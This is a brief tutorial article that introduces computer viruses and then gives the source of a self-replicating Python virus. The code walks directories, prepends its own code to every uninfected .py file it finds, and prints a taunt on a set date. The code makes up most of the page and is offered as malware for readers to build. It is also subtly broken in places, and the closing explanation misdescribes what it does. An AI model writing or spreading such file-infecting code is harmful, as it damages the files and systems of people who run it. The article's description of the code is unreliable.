Virus writers use social engineering deceptions and exploit detailed knowledge of security vulnerabilities to gain access to their hosts’ computers and computing resources. The vast majority of viruses target systems running Microsoft Windows, employing a variety of mechanisms to infect new hosts, and often using complex anti-detection/stealth strategies to evade antivirus software. Motives for creating viruses can include seeking profit (e.g., with ransomware), desire to send a political message, personal amusement, to demonstrate that a vulnerability exists in software, for sabotage and denial of service, or simply because they wish to explore cybersecurityissues, artificial life and evolutionary algorithms.
Here in this article we are going to code simple python virus
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<code> #!/usr/bin/python import os import datetime SIGNATURE = "SIMPLE PYTHON VIRUS" def search(path): filestoinfect =  filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+"/"+fname): filestoinfect.extend(search(path+"/"+fname)) elif fname[-3:] == ".py": infected = False for line in open(path+"/"+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+"/"+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = "" for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT"S AN EVIL ALUGH BY THE WAY!!" filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb() </code>The code performs a search for the python files and make all the strings to the Following String “HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT”S AN EVIL LAUGH BY THE WAY!!”.